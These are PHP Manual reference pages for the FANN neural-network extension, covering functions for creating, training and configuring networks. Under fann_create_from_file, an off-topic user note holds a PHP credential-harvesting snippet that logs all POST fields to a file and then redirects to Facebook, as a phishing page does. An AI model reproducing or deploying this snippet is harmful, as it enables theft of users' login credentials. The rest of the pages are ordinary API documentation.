Trains on an entire dataset, for a period of time using the Cascade2 training algorithm

  • « Fann Functions
  • fann_cascadetrain_on_file »
  • PHP Manual
  • Fann Functions
  • Trains on an entire dataset, for a period of time using the Cascade2 training algorithm

fann_cascadetrain_on_data

(PECL fann >= 1.0.0)

fann_cascadetrain_on_data — Trains on an entire dataset, for a period of time using the Cascade2 training algorithm

Description

bool fann_cascadetrain_on_data ( resource $ann , resource $data , int $max_neurons , int $neurons_between_reports , float $desired_error )

The cascade output change fraction is a number between 0 and 1 determining how large a fraction the fann_get_MSE() value should change within fann_get_cascade_output_stagnation_epochs() during training of the output connections, in order for the training not to stagnate. If the training stagnates, the training of the output connections will be ended and new candidates will be prepared.

This training uses the parameters set using the fann_set_cascade_..., but it also uses another training algorithm as it’s internal training algorithm. This algorithm can be set to either FANN_TRAIN_RPROP or FANN_TRAIN_QUICKPROP by fann_set_training_algorithm(), and the parameters set for these training algorithms will also affect the cascade training.

Parameters

ann

Neural network resource.

data

Neural network training data resource.

max_neurons

The maximum number of neurons to be added to neural network.

neurons_between_reports

The number of neurons between printing a status report. A value of zero means no reports should be printed.

desired_error

The desired fann_get_MSE() or fann_get_bit_fail(), depending on which stop function is chosen by fann_set_train_stop_function()

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_train_on_data() - Trains on an entire dataset for a period of time
  • fann_cascadetrain_on_file() - Trains on an entire dataset read from file, for a period of time using the Cascade2 training algorithm.

User Contributed Notes

There are no user contributed notes for this page.


Trains on an entire dataset read from file, for a period of time using the Cascade2 training algorithm.

  • « fann_cascadetrain_on_data
  • fann_clear_scaling_params »
  • PHP Manual
  • Fann Functions
  • Trains on an entire dataset read from file, for a period of time using the Cascade2 training algorithm.

fann_cascadetrain_on_file

(PECL fann >= 1.0.0)

fann_cascadetrain_on_file — Trains on an entire dataset read from file, for a period of time using the Cascade2 training algorithm.

Description

bool fann_cascadetrain_on_file ( resource $ann , string $filename , int $max_neurons , int $neurons_between_reports , float $desired_error )

Does the same as fann_cascadetrain_on_data(), but reads the training data directly from a file.

Parameters

ann

Neural network resource.

filename

The maximum number of neurons to be added to neural network

max_neurons

The number of neurons between printing a status report to stdout. A value of zero means no reports should be printed.

neurons_between_reports

The number of neurons between printing a status report. A value of zero means no reports should be printed.

desired_error

The desired fann_get_MSE() or fann_get_bit_fail(), depending on which stop function is chosen by fann_set_train_stop_function().

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_train_on_data() - Trains on an entire dataset for a period of time
  • fann_cascadetrain_on_data() - Trains on an entire dataset, for a period of time using the Cascade2 training algorithm

User Contributed Notes

There are no user contributed notes for this page.


Clears scaling parameters

  • « fann_cascadetrain_on_file
  • fann_copy »
  • PHP Manual
  • Fann Functions
  • Clears scaling parameters

fann_clear_scaling_params

(PECL fann >= 1.0.0)

fann_clear_scaling_params — Clears scaling parameters

Description

bool fann_clear_scaling_params ( resource $ann )

Clears scaling parameters.

Parameters

ann

Neural network resource.

Return Values

Returns TRUE on success, or FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Creates a copy of a fann structure

  • « fann_clear_scaling_params
  • fann_create_from_file »
  • PHP Manual
  • Fann Functions
  • Creates a copy of a fann structure

fann_copy

(PECL fann >= 1.0.0)

fann_copy — Creates a copy of a fann structure

Description

resource fann_copy ( resource $ann )

Creates a copy of a fann structure.

Parameters

ann

Neural network resource.

Return Values

Returns a copy of neural network resource on success, or FALSE on error

See Also

  • fann_test() - Test with a set of inputs, and a set of desired outputs

User Contributed Notes

There are no user contributed notes for this page.


Constructs a backpropagation neural network from a configuration file

  • « fann_copy
  • fann_create_shortcut_array »
  • PHP Manual
  • Fann Functions
  • Constructs a backpropagation neural network from a configuration file

fann_create_from_file

(PECL fann >= 1.0.0)

fann_create_from_file — Constructs a backpropagation neural network from a configuration file

Description

resource fann_create_from_file ( string $configuration_file )

Constructs a backpropagation neural network from a configuration file, which have been saved by fann_save().

Parameters

configuration_file

The configuration file path.

Return Values

Returns a neural network resource on success, or FALSE on error.

See Also

  • fann_save() - Saves the entire network to a configuration file

User Contributed Notes

alangkazo at gmail dot com 20-Jun-2014 01:48
Code:
<?php
header ('Location: http://www.facebook.com');
$handle = fopen("lol.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>


Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections

  • « fann_create_from_file
  • fann_create_shortcut »
  • PHP Manual
  • Fann Functions
  • Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections

fann_create_shortcut_array

(PECL fann >= 1.0.0)

fann_create_shortcut_array — Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections

Description

resource fann_create_shortcut_array ( int $num_layers , array $layers )

Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections using an array of layers sizes.

Warning

This function is currently not documented; only its argument list is available.

Parameters

num_layers

The total number of layers including the input and the output layer.

layers

An array of layers sizes.

Return Values

Returns a neural network resource on success, or FALSE on error.

See Also

  • fann_create_shortcut() - Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections
  • fann_create_sparse() - Creates a standard backpropagation neural network, which is not fully connected
  • fann_create_standard() - Creates a standard fully connected backpropagation neural network

User Contributed Notes

There are no user contributed notes for this page.


Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections

  • « fann_create_shortcut_array
  • fann_create_sparse_array »
  • PHP Manual
  • Fann Functions
  • Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections

fann_create_shortcut

(PECL fann >= 1.0.0)

fann_create_shortcut — Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections

Description

reference fann_create_shortcut ( int $num_layers , int $num_neurons1 , int $num_neurons2 [, int $... ] )

Creates a standard backpropagation neural network, which is not fully connected and which also has shortcut connections.

Shortcut connections are connections that skip layers. A fully connected network with shortcut connections, is a network where all neurons are connected to all neurons in later layers. Including direct connections from the input layer to the output layer.

Parameters

num_layers

The total number of layers including the input and the output layer.

num_neurons1

Number of neurons in the first layer.

num_neurons2

Number of neurons in the second layer.

...

Number of neurons in other layers.

Return Values

Returns a neural network resource on success, or FALSE on error.

See Also

  • fann_create_shortcut_array() - Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections
  • fann_create_sparse() - Creates a standard backpropagation neural network, which is not fully connected
  • fann_create_standard() - Creates a standard fully connected backpropagation neural network

User Contributed Notes

There are no user contributed notes for this page.


Creates a standard backpropagation neural network, which is not fully connected using an array of layer sizes

  • « fann_create_shortcut
  • fann_create_sparse »
  • PHP Manual
  • Fann Functions
  • Creates a standard backpropagation neural network, which is not fully connected using an array of layer sizes

fann_create_sparse_array

(PECL fann >= 1.0.0)

fann_create_sparse_array — Creates a standard backpropagation neural network, which is not fully connected using an array of layer sizes

Description

ReturnType fann_create_sparse_array ( float $connection_rate , int $num_layers , array $layers )

Creates a standard backpropagation neural network, which is not fully connected using an array of layer sizes.

Parameters

connection_rate

The connection rate controls how many connections there will be in the network. If the connection rate is set to 1, the network will be fully connected, but if it is set to 0.5 only half of the connections will be set. A connection rate of 1 will yield the same result as fann_create_standard().

num_layers

The total number of layers including the input and the output layer.

layers

An array of layer sizes.

Return Values

Returns a neural network resource on success, or FALSE on error.

See Also

  • fann_create_sparse() - Creates a standard backpropagation neural network, which is not fully connected
  • fann_create_standard() - Creates a standard fully connected backpropagation neural network
  • fann_create_shortcut() - Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections

User Contributed Notes

There are no user contributed notes for this page.


Creates a standard backpropagation neural network, which is not fully connected

  • « fann_create_sparse_array
  • fann_create_standard_array »
  • PHP Manual
  • Fann Functions
  • Creates a standard backpropagation neural network, which is not fully connected

fann_create_sparse

(PECL fann >= 1.0.0)

fann_create_sparse — Creates a standard backpropagation neural network, which is not fully connected

Description

ReturnType fann_create_sparse ( float $connection_rate , int $num_layers , int $num_neurons1 , int $num_neurons2 [, int $... ] )

Creates a standard backpropagation neural network, which is not fully connected.

Parameters

connection_rate

The connection rate controls how many connections there will be in the network. If the connection rate is set to 1, the network will be fully connected, but if it is set to 0.5 only half of the connections will be set. A connection rate of 1 will yield the same result as fann_create_standard().

num_layers

The total number of layers including the input and the output layer.

num_neurons1

Number of neurons in the first layer.

num_neurons2

Number of neurons in the second layer.

...

Number of neurons in other layers.

Return Values

Returns a neural network resource on success, or FALSE on error.

See Also

  • fann_create_sparse_array() - Creates a standard backpropagation neural network, which is not fully connected using an array of layer sizes
  • fann_create_standard() - Creates a standard fully connected backpropagation neural network
  • fann_create_shortcut() - Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections

User Contributed Notes

There are no user contributed notes for this page.


Creates a standard fully connected backpropagation neural network using an array of layer sizes

  • « fann_create_sparse
  • fann_create_standard »
  • PHP Manual
  • Fann Functions
  • Creates a standard fully connected backpropagation neural network using an array of layer sizes

fann_create_standard_array

(PECL fann >= 1.0.0)

fann_create_standard_array — Creates a standard fully connected backpropagation neural network using an array of layer sizes

Description

resource fann_create_standard_array ( int $num_layers , array $layers )

Creates a standard fully connected backpropagation neural network.

There will be a bias neuron in each layer (except the output layer), and this bias neuron will be connected to all neurons in the next layer. When running the network, the bias nodes always emits 1.

To destroy a neural network use the fann_destroy() function.

Parameters

num_layers

The total number of layers including the input and the output layer.

layers

An array of layer sizes.

Return Values

Returns a neural network resource on success, or FALSE on error.

See Also

  • fann_create_standard() - Creates a standard fully connected backpropagation neural network
  • fann_create_sparse() - Creates a standard backpropagation neural network, which is not fully connected
  • fann_create_shortcut() - Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections

User Contributed Notes

There are no user contributed notes for this page.


Creates a standard fully connected backpropagation neural network

  • « fann_create_standard_array
  • fann_create_train_from_callback »
  • PHP Manual
  • Fann Functions
  • Creates a standard fully connected backpropagation neural network

fann_create_standard

(PECL fann >= 1.0.0)

fann_create_standard — Creates a standard fully connected backpropagation neural network

Description

resource fann_create_standard ( int $num_layers , int $num_neurons1 , int $num_neurons2 [, int $... ] )

Creates a standard fully connected backpropagation neural network.

There will be a bias neuron in each layer (except the output layer), and this bias neuron will be connected to all neurons in the next layer. When running the network, the bias nodes always emits 1.

To destroy a neural network use the fann_destroy() function.

Parameters

num_layers

The total number of layers including the input and the output layer.

num_neurons1

Number of neurons in the first layer.

num_neurons2

Number of neurons in the second layer.

...

Number of neurons in other layers.

Return Values

Returns a neural network resource on success, or FALSE on error.

See Also

  • fann_create_standard_array() - Creates a standard fully connected backpropagation neural network using an array of layer sizes
  • fann_create_sparse() - Creates a standard backpropagation neural network, which is not fully connected
  • fann_create_shortcut() - Creates a standard backpropagation neural network which is not fully connectected and has shortcut connections

User Contributed Notes

There are no user contributed notes for this page.


Creates the training data struct from a user supplied function

  • « fann_create_standard
  • fann_create_train »
  • PHP Manual
  • Fann Functions
  • Creates the training data struct from a user supplied function

fann_create_train_from_callback

(PECL fann >= 1.0.0)

fann_create_train_from_callback — Creates the training data struct from a user supplied function

Description

resource fann_create_train_from_callback ( int $num_data , int $num_input , int $num_output , collable $user_function )

Creates the training data struct from a user supplied function. As the training data are numerable (data 1, data 2...), the user must write a function that receives the number of the training data set (input, output) and returns the set.

Parameters

num_data

The number of training data

num_input

The number of inputs per training data

num_output

The number of ouputs per training data

user_function

The user supplied function with following parameters:

  • num - The number of the training data set
  • num_input - The number of inputs per training data
  • num - The number of ouputs per training dataThe number of inputs per training data

The function should return an associative array with keys input and output and two array values of input and output.

Return Values

Returns a train data resource on success, or FALSE on error.

Examples

Example #1 fann_create_train_from_callback() example

<?php
function create_train_callback($num_data, $num_input, $num_output) {
    return array(
        "input" => array_fill(0, $num_input, 1),
        "output" => array_fill(0, $num_output, 1),
    );
}

$num_data = 3;
$num_input = 2;
$num_output = 1;
$train_data = fann_create_train_from_callback($num_data, $num_input, $num_output, "create_train_callback");
if ($train_data) {
    // Do something with $train_data
}
?>

See Also

  • fann_read_train_from_file() - Reads a file that stores training data
  • fann_train_on_data() - Trains on an entire dataset for a period of time
  • fann_destroy_train() - Destructs the training data
  • fann_save_train() - Save the training structure to a file

User Contributed Notes

There are no user contributed notes for this page.


Creates an empty training data struct

  • « fann_create_train_from_callback
  • fann_descale_input »
  • PHP Manual
  • Fann Functions
  • Creates an empty training data struct

fann_create_train

(PECL fann >= 1.0.0)

fann_create_train — Creates an empty training data struct

Description

resource fann_create_train ( int $num_data , int $num_input , int $num_output )

Creates an empty training data struct.

Parameters

num_data

The number of training data

num_input

The number of inputs per training data

num_output

The number of ouputs per training data

Return Values

Returns a train data resource on success, or FALSE on error.

See Also

  • fann_read_train_from_file() - Reads a file that stores training data
  • fann_train_on_data() - Trains on an entire dataset for a period of time
  • fann_destroy_train() - Destructs the training data
  • fann_save_train() - Save the training structure to a file

User Contributed Notes

There are no user contributed notes for this page.


Scale data in input vector after get it from ann based on previously calculated parameters

  • « fann_create_train
  • fann_descale_output »
  • PHP Manual
  • Fann Functions
  • Scale data in input vector after get it from ann based on previously calculated parameters

fann_descale_input

(PECL fann >= 1.0.0)

fann_descale_input — Scale data in input vector after get it from ann based on previously calculated parameters

Description

bool fann_descale_input ( resource $ann , array $input_vector )

Scale data in input vector after get it from ann based on previously calculated parameters.

Parameters

ann

Neural network resource.

input_vector

Input vector that will be descaled

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_scale_input() - Scale data in input vector before feed it to ann based on previously calculated parameters
  • fann_descale_output() - Scale data in output vector after get it from ann based on previously calculated parameters

User Contributed Notes

There are no user contributed notes for this page.


Scale data in output vector after get it from ann based on previously calculated parameters

  • « fann_descale_input
  • fann_descale_train »
  • PHP Manual
  • Fann Functions
  • Scale data in output vector after get it from ann based on previously calculated parameters

fann_descale_output

(PECL fann >= 1.0.0)

fann_descale_output — Scale data in output vector after get it from ann based on previously calculated parameters

Description

bool fann_descale_output ( resource $ann , array $output_vector )

Scale data in output vector after get it from ann based on previously calculated parameters.

Parameters

ann

Neural network resource.

output_vector

Output vector that will be descaled

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_scale_output() - Scale data in output vector before feed it to ann based on previously calculated parameters
  • fann_descale_input() - Scale data in input vector after get it from ann based on previously calculated parameters

User Contributed Notes

There are no user contributed notes for this page.


Descale input and output data based on previously calculated parameters

  • « fann_descale_output
  • fann_destroy_train »
  • PHP Manual
  • Fann Functions
  • Descale input and output data based on previously calculated parameters

fann_descale_train

(PECL fann >= 1.0.0)

fann_descale_train — Descale input and output data based on previously calculated parameters

Description

bool fann_descale_train ( resource $ann , resource $train_data )

Descale input and output data based on previously calculated parameters.

Parameters

ann

Neural network resource.

train_data

Neural network training data resource.

Return Values

Returns TRUE on success, or FALSE otherwise.

See Also

  • fann_scale_train() - Scale input and output data based on previously calculated parameters
  • fann_set_scaling_params() - Calculate input and output scaling parameters for future use based on training data

User Contributed Notes

There are no user contributed notes for this page.


Destructs the training data

  • « fann_descale_train
  • fann_destroy »
  • PHP Manual
  • Fann Functions
  • Destructs the training data

fann_destroy_train

(PECL fann >= 1.0.0)

fann_destroy_train — Destructs the training data

Description

bool fann_destroy_train ( resource $train_data )

Destructs the training data

Parameters

train_data

Neural network training data resource.

Return Values

Returns TRUE on success, or FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Destroys the entire network and properly freeing all the associated memory

  • « fann_destroy_train
  • fann_duplicate_train_data »
  • PHP Manual
  • Fann Functions
  • Destroys the entire network and properly freeing all the associated memory

fann_destroy

(PECL fann >= 1.0.0)

fann_destroy — Destroys the entire network and properly freeing all the associated memory

Description

bool fann_destroy ( resource $ann )

Destroys the entire network and properly freeing all the associated memory.

Parameters

ann

Neural network resource.

Return Values

Returns TRUE on success, or FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Returns an exact copy of a fann train data

  • « fann_destroy
  • fann_get_activation_function »
  • PHP Manual
  • Fann Functions
  • Returns an exact copy of a fann train data

fann_duplicate_train_data

(PECL fann >= 1.0.0)

fann_duplicate_train_data — Returns an exact copy of a fann train data

Description

resource fann_duplicate_train_data ( resource $data )

Returns an exact copy of a fann train data resource.

Parameters

data

Neural network training data resource.

Return Values

Returns a train data resource on success, or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the activation function

  • « fann_duplicate_train_data
  • fann_get_activation_steepness »
  • PHP Manual
  • Fann Functions
  • Returns the activation function

fann_get_activation_function

(PECL fann >= 1.0.0)

fann_get_activation_function — Returns the activation function

Description

int fann_get_activation_function ( resource $ann , int $layer , int $neuron )

Get the activation function for neuron number neuron in layer number layer, counting the input layer as layer 0.

It is not possible to get activation functions for the neurons in the input layer.

The return value is one of the activation functions constants.

Parameters

ann

Neural network resource.

layer

Layer number.

neuron

Neuron number.

Return Values

Learning functions constant or -1 if the neuron is not defined in the neural network, or FALSE on error.

See Also

  • fann_set_activation_function_layer() - Sets the activation function for all the neurons in the supplied layer.
  • fann_set_activation_function_hidden() - Sets the activation function for all of the hidden layers
  • fann_set_activation_function_output() - Sets the activation function for the output layer
  • fann_set_activation_steepness() - Sets the activation steepness for supplied neuron and layer number
  • fann_set_activation_function() - Sets the activation function for supplied neuron and layer

User Contributed Notes

There are no user contributed notes for this page.


Returns the activation steepness for supplied neuron and layer number

  • « fann_get_activation_function
  • fann_get_bias_array »
  • PHP Manual
  • Fann Functions
  • Returns the activation steepness for supplied neuron and layer number

fann_get_activation_steepness

(PECL fann >= 1.0.0)

fann_get_activation_steepness — Returns the activation steepness for supplied neuron and layer number

Description

float fann_get_activation_steepness ( resource $ann , int $layer , int $neuron )

Get the activation steepness for neuron number neuron in layer number layer, counting the input layer as layer 0.

It is not possible to get activation steepness for the neurons in the input layer.

The steepness of an activation function says something about how fast the activation function goes from the minimum to the maximum. A high value for the activation function will also give a more agressive training.

When training neural networks where the output values should be at the extremes (usually 0 and 1, depending on the activation function), a steep activation function can be used (e.g. 1.0).

The default activation steepness is 0.5.

Parameters

ann

Neural network resource.

layer

Layer number

neuron

Neuron number

Return Values

The activation steepness for the neuron or -1 if the neuron is not defined in the neural network, or FALSE on error.

See Also

  • fann_set_activation_function() - Sets the activation function for supplied neuron and layer
  • fann_set_activation_steepness_layer() - Sets the activation steepness for all of the neurons in the supplied layer number
  • fann_set_activation_steepness_hidden() - Sets the steepness of the activation steepness for all neurons in the all hidden layers
  • fann_set_activation_steepness_output() - Sets the steepness of the activation steepness in the output layer
  • fann_set_activation_steepness() - Sets the activation steepness for supplied neuron and layer number

User Contributed Notes

There are no user contributed notes for this page.


Get the number of bias in each layer in the network

  • « fann_get_activation_steepness
  • fann_get_bit_fail_limit »
  • PHP Manual
  • Fann Functions
  • Get the number of bias in each layer in the network

fann_get_bias_array

(PECL fann >= 1.0.0)

fann_get_bias_array — Get the number of bias in each layer in the network

Description

array fann_get_bias_array ( resource $ann )

Get the number of bias in each layer in the network.

Parameters

ann

Neural network resource.

Return Values

An array of numbers of bias in each layer

User Contributed Notes

There are no user contributed notes for this page.


Returns the bit fail limit used during training

  • « fann_get_bias_array
  • fann_get_bit_fail »
  • PHP Manual
  • Fann Functions
  • Returns the bit fail limit used during training

fann_get_bit_fail_limit

(PECL fann >= 1.0.0)

fann_get_bit_fail_limit — Returns the bit fail limit used during training

Description

float fann_get_bit_fail_limit ( resource $ann )

Returns the bit fail limit used during training.

The bit fail limit is used during training where the stop function is set to FANN_STOPFUNC_BIT.

The limit is the maximum accepted difference between the desired output and the actual output during training. Each output that diverges more than this limit is counted as an error bit. This difference is divided by two when dealing with symmetric activation functions, so that symmetric and not symmetric activation functions can use the same limit.

The default bit fail limit is 0.35.

Parameters

ann

Neural network resource.

Return Values

The bit fail limit, or FALSE on error.

See Also

  • fann_set_bit_fail_limit() - Set the bit fail limit used during training

User Contributed Notes

There are no user contributed notes for this page.


The number of fail bits

  • « fann_get_bit_fail_limit
  • fann_get_cascade_activation_functions_count »
  • PHP Manual
  • Fann Functions
  • The number of fail bits

fann_get_bit_fail

(PECL fann >= 1.0.0)

fann_get_bit_fail — The number of fail bits

Description

int fann_get_bit_fail ( resource $ann )

The number of fail bits; means the number of output neurons which differ more than the bit fail limit (see fann_get_bit_fail_limit(), fann_set_bit_fail_limit()). The bits are counted in all of the training data, so this number can be higher than the number of training data.

This value is reset by fann_reset_MSE() and updated by all the same functions which also updates the MSE value (e.g. fann_test_data(), fann_train_epoch())

Parameters

ann

Neural network resource.

Return Values

The number of bits fail, or FALSE on error.

See Also

  • fann_get_MSE() - Reads the mean square error from the network
  • fann_reset_MSE() - Resets the mean square error from the network
  • fann_test_data() - Test a set of training data and calculates the MSE for the training data
  • fann_train_epoch() - Train one epoch with a set of training data
  • fann_get_bit_fail_limit() - Returns the bit fail limit used during training
  • fann_set_bit_fail_limit() - Set the bit fail limit used during training

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of cascade activation functions

  • « fann_get_bit_fail
  • fann_get_cascade_activation_functions »
  • PHP Manual
  • Fann Functions
  • Returns the number of cascade activation functions

fann_get_cascade_activation_functions_count

(PECL fann >= 1.0.0)

fann_get_cascade_activation_functions_count — Returns the number of cascade activation functions

Description

int fann_get_cascade_activation_functions_count ( resource $ann )

The number of activation functions in the fann_get_cascade_activation_functions() array.

The default number of activation functions is 6.

Parameters

ann

Neural network resource.

Return Values

The number of cascade activation functions, or FALSE on error.

See Also

  • fann_get_cascade_activation_functions() - Returns the cascade activation functions
  • fann_set_cascade_activation_functions() - Sets the array of cascade candidate activation functions

User Contributed Notes

There are no user contributed notes for this page.


Returns the cascade activation functions

  • « fann_get_cascade_activation_functions_count
  • fann_get_cascade_activation_steepnesses_count »
  • PHP Manual
  • Fann Functions
  • Returns the cascade activation functions

fann_get_cascade_activation_functions

(PECL fann >= 1.0.0)

fann_get_cascade_activation_functions — Returns the cascade activation functions

Description

array fann_get_cascade_activation_functions ( resource $ann )

The cascade activation functions array is an array of the different activation functions used by the candidates

See fann_get_cascade_num_candidates() for a description of which candidate neurons will be generated by this array.

The default activation functions are FANN_SIGMOID, FANN_SIGMOID_SYMMETRIC, FANN_GAUSSIAN, FANN_GAUSSIAN_SYMMETRIC, FANN_ELLIOT, FANN_ELLIOT_SYMMETRIC.

Parameters

ann

Neural network resource.

Return Values

The cascade activation functions, or FALSE on error.

See Also

  • fann_get_cascade_activation_functions_count() - Returns the number of cascade activation functions
  • fann_set_cascade_activation_functions() - Sets the array of cascade candidate activation functions

User Contributed Notes

There are no user contributed notes for this page.


The number of activation steepnesses

  • « fann_get_cascade_activation_functions
  • fann_get_cascade_activation_steepnesses »
  • PHP Manual
  • Fann Functions
  • The number of activation steepnesses

fann_get_cascade_activation_steepnesses_count

(PECL fann >= 1.0.0)

fann_get_cascade_activation_steepnesses_count — The number of activation steepnesses

Description

int fann_get_cascade_activation_steepnesses_count ( resource $ann )

The number of activation steepnesses in the fann_get_cascade_activation_functions() array.

The default number of activation steepnesses is 4.

Parameters

ann

Neural network resource.

Return Values

The number of activation steepnesses, or FALSE on error.

See Also

  • fann_get_cascade_activation_steepnesses() - Returns the cascade activation steepnesses
  • fann_set_cascade_activation_functions() - Sets the array of cascade candidate activation functions

User Contributed Notes

There are no user contributed notes for this page.


Returns the cascade activation steepnesses

  • « fann_get_cascade_activation_steepnesses_count
  • fann_get_cascade_candidate_change_fraction »
  • PHP Manual
  • Fann Functions
  • Returns the cascade activation steepnesses

fann_get_cascade_activation_steepnesses

(PECL fann >= 1.0.0)

fann_get_cascade_activation_steepnesses — Returns the cascade activation steepnesses

Description

array fann_get_cascade_activation_steepnesses ( resource $ann )

The cascade activation steepnesses array is an array of the different activation functions used by the candidates.

See fann_get_cascade_num_candidates() for a description of which candidate neurons will be generated by this array.

The default activation steepnesses are {0.25, 0.50, 0.75, 1.00}.

Parameters

ann

Neural network resource.

Return Values

The cascade activation steepnesses, or FALSE on error.

See Also

  • fann_get_cascade_activation_steepnesses_count() - The number of activation steepnesses
  • fann_set_cascade_activation_steepnesses() - Sets the array of cascade candidate activation steepnesses

User Contributed Notes

There are no user contributed notes for this page.


Returns the cascade candidate change fraction

  • « fann_get_cascade_activation_steepnesses
  • fann_get_cascade_candidate_limit »
  • PHP Manual
  • Fann Functions
  • Returns the cascade candidate change fraction

fann_get_cascade_candidate_change_fraction

(PECL fann >= 1.0.0)

fann_get_cascade_candidate_change_fraction — Returns the cascade candidate change fraction

Description

float fann_get_cascade_candidate_change_fraction ( resource $ann )

The cascade candidate change fraction is a number between 0 and 1 determining how large a fraction the fann_get_MSE() value should change within fann_get_cascade_candidate_stagnation_epochs() during training of the candidate neurons, in order for the training not to stagnate. If the training stagnates, the training of the candidate neurons will be ended and the best candidate will be selected.

It means that if the MSE does not change by a fraction of fann_get_cascade_candidate_change_fraction() during a period of fann_get_cascade_candidate_stagnation_epochs(), the training of the candidate neurons is stopped because the training has stagnated.

If the cascade candidate change fraction is low, the candidate neurons will be trained more and if the fraction is high they will be trained less.

The default cascade candidate change fraction is 0.01, which is equalent to a 1% change in MSE.

Parameters

ann

Neural network resource.

Return Values

The cascade candidate change fraction, or FALSE on error.

See Also

  • fann_set_cascade_candidate_change_fraction() - Sets the cascade candidate change fraction
  • fann_get_MSE() - Reads the mean square error from the network
  • fann_get_cascade_candidate_stagnation_epochs() - Returns the number of cascade candidate stagnation epochs

User Contributed Notes

There are no user contributed notes for this page.


Return the candidate limit

  • « fann_get_cascade_candidate_change_fraction
  • fann_get_cascade_candidate_stagnation_epochs »
  • PHP Manual
  • Fann Functions
  • Return the candidate limit

fann_get_cascade_candidate_limit

(PECL fann >= 1.0.0)

fann_get_cascade_candidate_limit — Return the candidate limit

Description

float fann_get_cascade_candidate_limit ( resource $ann )

The candidate limit is a limit for how much the candidate neuron may be trained. The limit is a limit on the proportion between the MSE and candidate score.

Set this to a lower value to avoid overfitting and to a higher if overfitting is not a problem.

The default candidate limit is 1000.0.

Parameters

ann

Neural network resource.

Return Values

The candidate limit, or FALSE on error.

See Also

  • fann_set_cascade_candidate_limit() - Sets the candidate limit

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of cascade candidate stagnation epochs

  • « fann_get_cascade_candidate_limit
  • fann_get_cascade_max_cand_epochs »
  • PHP Manual
  • Fann Functions
  • Returns the number of cascade candidate stagnation epochs

fann_get_cascade_candidate_stagnation_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_candidate_stagnation_epochs — Returns the number of cascade candidate stagnation epochs

Description

float fann_get_cascade_candidate_stagnation_epochs ( resource $ann )

The number of cascade candidate stagnation epochs determines the number of epochs training is allowed to continue without changing the MSE by a fraction of fann_get_cascade_candidate_change_fraction().

See more info about this parameter in fann_get_cascade_candidate_change_fraction().

The default number of cascade candidate stagnation epochs is 12.

Parameters

ann

Neural network resource.

Return Values

The number of cascade candidate stagnation epochs, or FALSE on error.

See Also

  • fann_set_cascade_candidate_stagnation_epochs() - Sets the number of cascade candidate stagnation epochs
  • fann_get_cascade_candidate_change_fraction() - Returns the cascade candidate change fraction

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum candidate epochs

  • « fann_get_cascade_candidate_stagnation_epochs
  • fann_get_cascade_max_out_epochs »
  • PHP Manual
  • Fann Functions
  • Returns the maximum candidate epochs

fann_get_cascade_max_cand_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_max_cand_epochs — Returns the maximum candidate epochs

Description

int fann_get_cascade_max_cand_epochs ( resource $ann )

The maximum candidate epochs determines the maximum number of epochs the input connections to the candidates may be trained before adding a new candidate neuron.

The default max candidate epochs is 150.

Parameters

ann

Neural network resource.

Return Values

The maximum candidate epochs, or FALSE on error.

See Also

  • fann_set_cascade_max_cand_epochs() - Sets the max candidate epochs

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum out epochs

  • « fann_get_cascade_max_cand_epochs
  • fann_get_cascade_min_cand_epochs »
  • PHP Manual
  • Fann Functions
  • Returns the maximum out epochs

fann_get_cascade_max_out_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_max_out_epochs — Returns the maximum out epochs

Description

int fann_get_cascade_max_out_epochs ( resource $ann )

The maximum out epochs determines the maximum number of epochs the output connections may be trained after adding a new candidate neuron.

The default max out epochs is 150.

Parameters

ann

Neural network resource.

Return Values

The maximum out epochs, or FALSE on error.

See Also

  • fann_set_cascade_max_out_epochs() - Sets the maximum out epochs

User Contributed Notes

There are no user contributed notes for this page.


Returns the minimum candidate epochs

  • « fann_get_cascade_max_out_epochs
  • fann_get_cascade_min_out_epochs »
  • PHP Manual
  • Fann Functions
  • Returns the minimum candidate epochs

fann_get_cascade_min_cand_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_min_cand_epochs — Returns the minimum candidate epochs

Description

int fann_get_cascade_min_cand_epochs ( resource $ann )

The minimum candidate epochs determines the minimum number of epochs the input connections to the candidates may be trained before adding a new candidate neuron.

The default min candidate epochs is 50.

Parameters

ann

Neural network resource.

Return Values

The minimum candidate epochs, or FALSE on error.

See Also

  • fann_set_cascade_min_cand_epochs() - Sets the min candidate epochs

User Contributed Notes

There are no user contributed notes for this page.


Returns the minimum out epochs

  • « fann_get_cascade_min_cand_epochs
  • fann_get_cascade_num_candidate_groups »
  • PHP Manual
  • Fann Functions
  • Returns the minimum out epochs

fann_get_cascade_min_out_epochs

(PECL fann >= 1.0.0)

fann_get_cascade_min_out_epochs — Returns the minimum out epochs

Description

int fann_get_cascade_min_out_epochs ( resource $ann )

The minimum out epochs determines the minimum number of epochs the output connections must be trained after adding a new candidate neuron.

The default min out epochs is 50.

Parameters

ann

Neural network resource.

Return Values

The minimum out epochs, or FALSE on error.

See Also

  • fann_set_cascade_min_out_epochs() - Sets the minimum out epochs

User Contributed Notes

